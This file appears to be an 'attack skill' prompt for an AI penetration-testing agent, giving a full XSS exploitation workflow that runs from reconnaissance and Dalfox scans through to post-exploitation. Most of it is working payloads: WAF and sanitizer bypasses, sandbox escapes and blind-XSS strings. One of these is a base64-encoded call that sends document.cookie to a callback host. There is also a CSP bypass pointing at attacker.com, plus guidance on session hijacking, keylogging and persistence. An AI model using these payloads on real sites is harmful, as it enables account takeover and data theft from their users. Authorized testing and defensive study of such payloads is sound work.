# ATTACK SKILL: XSS EXPLOITATION

## Overview
Complete XSS exploitation workflow covering detection, context analysis, payload selection, blind XSS, DOM-based attacks, and post-exploitation using Dalfox and manual techniques.

## Tools Available
- **kali_shell** - Execute Dalfox, interactsh-client, and other CLI tools
- **execute_curl** - HTTP requests for payload injection
- **execute_code** - Custom payload generation scripts

---

## REAL-WORLD HACKERONE REFERENCES

### XSS with WAF Bypass
| Report | Target | Technique | Bounty |
|--------|--------|-----------|--------|
| [#716761](https://hackerone.com/reports/716761) | Starbucks | Double encoded hex bypass | - |
| [#761463](https://hackerone.com/reports/761463) | Mail.ru | Reflected XSS with WAF bypass | - |
| [#382625](https://hackerone.com/reports/382625) | Semrush | Stored XSS + WAF bypass | - |
| [#265528](https://hackerone.com/reports/265528) | GSA/data.gov | Chrome XSS Auditor + Kona WAF bypass | - |
| [#263226](https://hackerone.com/reports/263226) | GSA | HTML injection with XSS bypass | - |
| [#2921905](https://hackerone.com/reports/2921905) | Doppler | Cloudflare WAF bypass | - |

### High-Impact XSS
| Report | Target | Impact | Bounty |
|--------|--------|--------|--------|
| [#1106379](https://hackerone.com/reports/1106379) | Shopify | Stored XSS in checkout | $10,000 |
| [#1052631](https://hackerone.com/reports/1052631) | TikTok | Reflected XSS | $3,860 |
| [#1017303](https://hackerone.com/reports/1017303) | Reddit | DOM XSS | $5,000 |

---

## PHASE 1: RECONNAISSANCE

### 1.1 Identify Injection Points
- URL parameters (?search=, ?q=, ?id=, ?name=)
- Form inputs (text fields, hidden fields, textareas)
- HTTP headers (User-Agent, Referer, X-Forwarded-For)
- JSON/XML body parameters
- File upload filenames
- Cookie values

### 1.2 Query Existing Recon Data
```
query_graph("MATCH (p:Parameter) WHERE p.project_id = $project_id RETURN p.name, p.url, p.type")
```

### 1.3 Identify Context
- HTML body context
- HTML attribute context (quoted/unquoted)
- JavaScript string context
- JavaScript template literal context
- URL context (href, src attributes)
- CSS context

### Captured-traffic workflow (proxy_brain tools)

When HTTP Traffic Capture is enabled, seed detection from real traffic. redamon.grep searches captured response bodies for a marker to locate reflections and their surrounding context (HTML body, attribute, JS string). redamon.replay re-sends a captured request with a payload placed in a param or header (User-Agent, Referer, X-Forwarded-For) to confirm the reflection. redamon.fuzz rotates WAF-bypass payloads over one query param and reports per-payload status/length. For **DOM-based / client-side XSS** - where the payload never reaches the server and only fires after JavaScript runs - use redamon.browser INSIDE the same proxy_brain code: `b = redamon.browser(txn_id)` opens a real Chromium pinned to that host, `b.goto("/page#name=<img src=x onerror=alert(1)>")` drives the sink, and `b.alerts()` returns any fired dialog (the in-band DOM-XSS oracle); `b.eval(js)` reads the DOM/source-tainted values. This browser is host-pinned, budgeted, and re-captured as `tool=proxy_brain_browser`, so it stays on-scope and auditable. Read `redamon.manual("browser")` first. Only fall back to the standalone execute_playwright (or an OOB collector) for cross-origin proofs the host-pin forbids, or for blind/stored XSS that fires elsewhere. redamon.replay/browser are pinned to the origin host.

---

## PHASE 2: DETECTION

### 2.1 Dalfox Basic Scan
```bash
# Basic scan
dalfox url "https://target.com/search?q=test" --silence

# With WAF bypass
dalfox url "https://target.com/search?q=test" --waf-evasion

# Authenticated endpoint
dalfox url "https://target.com/profile" -H "Cookie: session=abc123" --waf-evasion

# POST parameters
dalfox url "https://target.com/comment" -d "msg=test&user=test" --waf-evasion

# Deep DOM XSS analysis
dalfox url "https://target.com/app" --deep-domxss --mining-dom
```

### 2.2 Context Detection Table

| Response Pattern | Context | Payload Type |
|-----------------|---------|--------------|
| `<input value="REFLECT">` | Attribute | `" onfocus=X autofocus` |
| `<div>REFLECT</div>` | HTML body | `<script>X</script>` |
| `var x = "REFLECT"` | JS string | `";X;//` |
| `var x = \`REFLECT\`` | JS template | `${X}` |
| `<a href="REFLECT">` | URL | `javascript:X` |
| `<style>REFLECT</style>` | CSS | `</style><script>X` |

---

## PHASE 3: PAYLOAD SELECTION

### 3.1 HTML Body Context
```html
<!-- Basic -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- WAF Bypass -->
<img src=x onerror=alert`1`>
<svg/onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>

<!-- Encoded -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
```

### 3.2 HTML Attribute Context (Quoted)
```html
" onfocus=alert(1) autofocus "
" onmouseover=alert(1) x="
"><script>alert(1)</script>
" onclick="alert(1)
' onfocus='alert(1)' autofocus '
```

### 3.3 HTML Attribute Context (Unquoted)
```html
x onfocus=alert(1) autofocus
x onmouseover=alert(1)
```

### 3.4 JavaScript String Context
```javascript
// Single quoted
';alert(1);//
'-alert(1)-'
'+(function(){alert(1)})()+'

// Double quoted
";alert(1);//
"-alert(1)-"

// Template literal
${alert(1)}
`${alert(1)}`
```

### 3.5 URL Context (href, src)
```
javascript:alert(1)
javascript:alert`1`
data:text/html,<script>alert(1)</script>
java&#x0a;script:alert(1)
```

### 3.6 Mutation XSS (mXSS)
Exploits browser HTML parsing quirks:
```html
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
```

### 3.7 Template Injection
```javascript
// AngularJS
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

// Vue.js
{{_c.constructor('alert(1)')()}}

// Server-side templates
${alert(1)}
#{alert(1)}
<%= alert(1) %>
```

---

## PHASE 4: BLIND XSS EXPLOITATION

### 4.1 What is Blind XSS?
Payloads execute in a context the attacker cannot directly observe (admin panels, log viewers, support dashboards).

### 4.2 Setup Callback Server
```bash
# Start interactsh client
interactsh-client -v
# Note the generated URL (e.g., abc123def456.oast.fun)
```

### 4.3 High-Value Injection Points

| Location | Why It Works |
|----------|--------------|
| Support tickets | Admin views ticket details |
| Contact forms | Support staff reads messages |
| User-Agent header | Logged and displayed in analytics |
| Referer header | Logged and displayed in analytics |
| Error messages | Developers view error logs |
| User profile fields | Admin reviews user profiles |
| Order comments | Staff processes orders |
| File upload names | Displayed in file managers |

### 4.4 Injection Strategy

**Step 1 - Base64 encoded payload (evades most filters):**
```html
<img src=x onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8vY2FsbGJhY2suY29tP2M9Jytkb2N1bWVudC5jb29raWUp'))">
```

**Step 2 - Script src payload (if CSP allows):**
```html
"><script src=https://callback.com/payload.js></script>
```

**Step 3 - Polyglot (covers multiple contexts):**
```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=fetch('https://callback.com') )//
```

**Step 4 - Mutation XSS (bypasses sanitizers):**
```html
<noscript><p title="</noscript><img src=x onerror=fetch('https://callback.com')>">
```

### 4.5 What to Look For in Callbacks
- Session cookies (session hijacking)
- Admin panel URLs (internal recon)
- Internal IPs/hostnames (network mapping)
- User roles/permissions (privilege assessment)
- CSRF tokens (for chained attacks)

---

## PHASE 5: DOM-BASED XSS

### 5.1 Identify DOM Sinks
```javascript
// Dangerous sinks
innerHTML, outerHTML
document.write(), document.writeln()
eval(), Function(), setTimeout(), setInterval()
location.href, location.assign(), location.replace()
jQuery.html(), $.html()
element.setAttribute()  // with event handlers
```

### 5.2 Identify Sources (Attacker-Controlled)
```javascript
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
```

### 5.3 Common Patterns

**Pattern 1 - Hash-based injection:**
```
URL: https://target.com/#<script>alert(1)</script>
Code: element.innerHTML = location.hash.slice(1)
```

**Pattern 2 - Search param injection:**
```
URL: https://target.com/?search=<script>alert(1)</script>
Code: document.write(new URLSearchParams(location.search).get('search'))
```

**Pattern 3 - postMessage exploitation:**
```javascript
// Attacker page
targetWindow.postMessage('<img src=x onerror=alert(1)>', '*')

// Vulnerable code (no origin check!)
window.addEventListener('message', function(e) {
    document.body.innerHTML = e.data;
});
```

**Pattern 4 - jQuery selector injection:**
```
URL: https://target.com/?selector=<img src=x onerror=alert(1)>
Code: $(location.search.split('=')[1])
```

### 5.4 Confirm the DOM sink in a real browser (proxy_brain)

The server never sees a hash/`window.name`/`postMessage` payload, so only a real
browser proves it. When capture is on, do it inside proxy_brain (host-pinned,
re-captured) - read `redamon.manual("browser")`, then:

```python
t = redamon.search(host="target.com")[0]        # any captured txn on the host
b = redamon.browser(t.id)                        # Chromium pinned to that host
b.goto("/app#name=<img src=x onerror=alert(1)>") # payload in the source (hash)
if b.alerts():                                   # a dialog fired -> it executed
    redamon.finding("dom-xss", t.id, evidence=str(b.alerts()), severity="high")
b.close()
```

`b.eval(js)` inspects the source-tainted value/sink directly; `b.dom()` returns the
rendered HTML. The host-pin refuses any off-origin navigation, so use the standalone
execute_playwright for a `postMessage`-from-attacker-origin proof (needs a second
origin the pin forbids).

---

## PHASE 6: POST-EXPLOITATION

### 6.1 Session Hijacking
- Extract session cookies from callback data
- Use stolen session to access victim's account

### 6.2 Credential Harvesting
- Inject fake login form overlay
- Capture keystrokes on sensitive pages

### 6.3 Internal Network Recon
- Use XSS to scan internal hosts via fetch()
- Extract internal URLs from DOM

### 6.4 Data Exfiltration
- Extract localStorage/sessionStorage
- Read sensitive DOM elements
- Access browser APIs (geolocation, camera if permitted)

### 6.5 Persistence
- Store payload in localStorage for re-execution
- Inject into service worker if possible

### 6.6 Escalation Paths

| XSS Type | Target | Escalation |
|----------|--------|------------|
| Reflected | User | Phishing, session theft |
| Stored | Admin | Account takeover, RCE via admin functions |
| DOM | User | Client-side attacks, credential theft |
| Blind | Admin | Admin panel access, internal data |

---

## FAILURE HANDLING

| Issue | Cause | Solution |
|-------|-------|----------|
| No reflection | Input sanitized | Try different parameters |
| Encoded output | HTML encoding | Use event handlers without `< >` |
| Blocked by CSP | Content-Security-Policy | Use 'unsafe-inline' bypass or DOM clobbering |
| WAF blocking | Pattern matching | Use advanced encoding (mxss, constructor chain) |
| HttpOnly cookies | Cookie flag | Focus on DOM data, keylogging |
| Same-site cookies | Cookie attribute | Use within same origin |

---

## CSP BYPASS TECHNIQUES

### 1. If 'unsafe-eval' allowed
Use `eval()`, `Function()`, `setTimeout()` with strings

### 2. If external scripts allowed
Host payload on allowed domain (CDN, JSONP endpoints)

### 3. JSONP endpoints
```html
<script src="https://allowed-cdn.com/jsonp?callback=alert"></script>
```

### 4. Base-uri missing
```html
<base href="https://attacker.com">
```

### 5. DOM clobbering
Overwrite security-critical DOM properties

---

## ADVANCED WAF BYPASS TECHNIQUES

### 1. Encoding Bypasses (Based on #716761)
```html
<!-- Double URL encoding -->
%253Cscript%253Ealert(1)%253C/script%253E

<!-- Hex encoding -->
<img src=x onerror=\x61\x6c\x65\x72\x74(1)>

<!-- Unicode encoding -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Mixed encoding -->
<img src=x onerror=al\u0065rt`1`>
```

### 2. Tag/Event Variations
```html
<!-- Uncommon tags -->
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
<keygen autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>

<!-- SVG-based -->
<svg><animate onbegin=alert(1)>
<svg><set onbegin=alert(1)>
<svg><handler onclick=alert(1)>
```

### 3. Case & Whitespace Manipulation
```html
<!-- Case mixing -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

<!-- Null bytes -->
<scr%00ipt>alert(1)</scr%00ipt>
<img src=x onerror%00=alert(1)>

<!-- Tab/newline injection -->
<img src=x	onerror=alert(1)>
<img src=x
onerror=alert(1)>

<!-- Comments -->
<script>/**/alert(1)/**/</script>
<img src=x onerror=/**/alert(1)>
```

### 4. Protocol Bypasses
```html
<!-- JavaScript protocol variations -->
java&#x0a;script:alert(1)
java&#x09;script:alert(1)
java&#x0d;script:alert(1)
&#x6a;avascript:alert(1)
jav	ascript:alert(1)

<!-- Data protocol -->
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
```

### 5. Header-Based Injection
```bash
# Inject via headers (Reference: #265528)
curl "https://target.com" -H "User-Agent: <script>alert(1)</script>"
curl "https://target.com" -H "Referer: <img src=x onerror=alert(1)>"
curl "https://target.com" -H "X-Forwarded-For: <svg onload=alert(1)>"
```

### 6. Constructor Chain (Advanced)
```javascript
// Bypass keyword filters
[].constructor.constructor('alert(1)')()
''.constructor.constructor('alert(1)')()
/./['constructor']['constructor']('alert(1)')()

// Without parentheses
onerror=alert;throw 1
{onerror=alert}throw 1

// Without alert keyword
[]['find']['constructor']('return this')()['alert'](1)
```

### 7. Mutation XSS (mXSS) Payloads
```html
<!-- DOMPurify bypasses -->
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=alert(1)>

<!-- Browser parsing quirks -->
<a href="javascript&colon;alert(1)">click</a>
<a href="&#106;avascript:alert(1)">click</a>
```

### 8. Framework-Specific Bypasses
```javascript
// AngularJS (sandbox escape)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

// Vue.js
{{_c.constructor('alert(1)')()}}
{{this.constructor.constructor('alert(1)')()}}

// React (dangerouslySetInnerHTML bypass)
// Look for unsanitized props passed to dangerouslySetInnerHTML
```

---

## OUTPUT FORMAT

Report findings with:
- **Vulnerability type**: Reflected/Stored/DOM/Blind XSS
- **Affected parameter**: The injectable input
- **Injection context**: HTML/Attribute/JS/URL
- **Payload used**: The successful XSS payload
- **Impact**: Cookie theft, account takeover, etc.
- **CSP status**: Present/bypassed/none
- **Remediation**: Input sanitization, CSP implementation, HttpOnly cookies
